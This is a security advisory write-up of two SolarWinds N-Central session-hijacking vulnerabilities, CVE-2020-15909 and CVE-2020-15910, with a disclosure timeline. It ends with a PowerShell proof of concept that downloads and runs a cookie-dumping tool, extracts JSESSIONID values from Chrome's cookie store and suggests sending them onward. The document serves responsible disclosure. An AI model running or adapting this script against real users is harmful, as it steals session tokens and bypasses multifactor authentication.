N-CENTRAL SESSION HIJACK WRITEUP

PRESS INFORMATION

For more information regarding this report or any related data, Please contact CVE-2020-15910@limenetworks.nl.

MANAGEMENT SUMMARY

During a planned red teaming exercise internally at Lime Networks, The security specialist Maarten van der Horst found two vulnerabilities in the Solarwinds N-Central RMM application. Both vulnerabilities are used to compromise a logged on users' account and bypass Multifactor authentication. There are two CVEs assigned as both issues are exploitable using different methods.

Solarwinds N-Central is a Remote management and monitoring application that uses a cookie for logon. Copying a part of this cookie, namely the "JSESSIONID" allows an attacker to logon to N-central server from any location as long as that session has not been logged out by the actual user. Copying this cookie does not invalidate a session and there are no further validation checks in place to confirm that the user is the actual owner of this cookie.

This allows a bad actor to copy the cookie and circumvent login and multifactor authentication prompts.

I would like to thank Solarwinds for working together with me / Lime Networks on solving the problems, the fast response and showing that Solarwinds takes great care in making sure their products are safe.

Lime Networks believes these issues to be ranked in the medium to high range, depending on all other security factors.

TIMELINE

7-17-2020:	Found vulnerabilities in N-Central and reported them with a PoC to the Solarwinds security team.
7-18-2020:	Received response from Solarwinds, informing us about an investigation.
7-22-2020:	Received update acknowledging the vulnerabilities and informing us there is a fix.
7-23-2020:	Requested CVE ID from MITRE.
7-23-2020:	CVE ID 2020-15909 and 2020-15910 acknowledged by MITRE.
7-24-2020:	Sent extra information to Solarwinds explaining the vulnerabilities. Issue in progress internally at Solarwinds.

CVE-2020-15910: HTTPONLY ATTRIBUTE NOT SET IN THE JSESSIONID COOKIE.

Remote Exploitable:	Yes
User interaction required:	Yes. By visiting infected/prepared webpage
Resolved:	Yes. Version 12.3 HF2

N-Central version 12.3 GA and lower does not set the JSESSIONID attribute to HTTPOnly. This makes it possible to influence the cookie with javascript. An attacker could send the user to a prepared webpage or by influencing JavaScript to the extract the JESSIONID. This could then be forwarded to the attacker. Maarten van der Horst has not made a POC for this, but the exploitability has been confirmed by Solarwinds.

By not setting the HTTPOnly flag, XSS becomes easy to execute. Solarwinds fixed this issue in later versions of N-Central on May 2020.

CVE-2020-15909: ATTACK ENGINEERS' WORKSTATION AND STEAL COOKIE DATABASE.

Remote Exploitable:	Partially – Requires manual execution.
User interaction required:	Yes.
Resolved:	Yes. Version 2020.1 HF2

CVE-2020-15909 requires user interaction or physical access.

The N-Central JSESSIONID cookie attribute is not checked against multiple sources such as source-IP, MFA claim, etc. as long as the victim stays logged in within N-Central. To take advantage of this, the cookie could be stolen and the JSESSIONID can be captured. On its own this is not a surprising result; cookies in general are meant to be able to roam. The issue is that N-Central is a highly privileged tool and the expectance is that session anomalies are detected and presented with re-auth or a multi-factor prompt.

The JSESSION cookie can be used on the attackers' workstation by browsing to the victim's N-Central server URL and replacing the JSESSIONID attribute value by the captured value. Expected behavior would be to check this against a second source and enforce at least a reauthentication or multi factor request as N-Central is a highly privileged service.

A PowerShell Proof on Concept has been included. This proof of concept shows it is trivial to hijack the cookie and send this to a bad actor. In the example the Chrome database is used to extract the cookie.

```
write-host "Downloading ChromeCookieView"
Invoke-
WebRequest 'https://www.nirsoft.net/utils/chromecookiesview.zip' -
UseBasicParsing -OutFile "$($ENV:TEMP)/Chromecookiesview.zip"
Expand-Archive -path "$($ENV:TEMP)/Chromecookiesview.zip" -
DestinationPath  "$($ENV:TEMP)" -Force
Start-Process -FilePath "$($ENV:TEMP)/Chromecookiesview.exe" -
ArgumentList "/scomma $($ENV:TEMP)/chromecookies.csv"
start-sleep 5
$Cookies = import-csv "$($ENV:TEMP)/chromecookies.csv"

$hosts = $cookies | Where-Object { $_.name -eq 'ncentral_version' }
If ($hosts) {
    write-host "Found $($hosts.count) hosts. Extracting jsessionid"
    $SessionInfo = foreach ($ncentralhost in $hosts) {
        $Cookies | Where-Object { $_.'host name' -
eq $ncentralhost.'host name' -and $_.'name' -eq 'jsessionid' }
    }
}
write-
host "Displaying session ID's. You could easily email/ftp/upload/api ab
use these"
$SessionInfo
```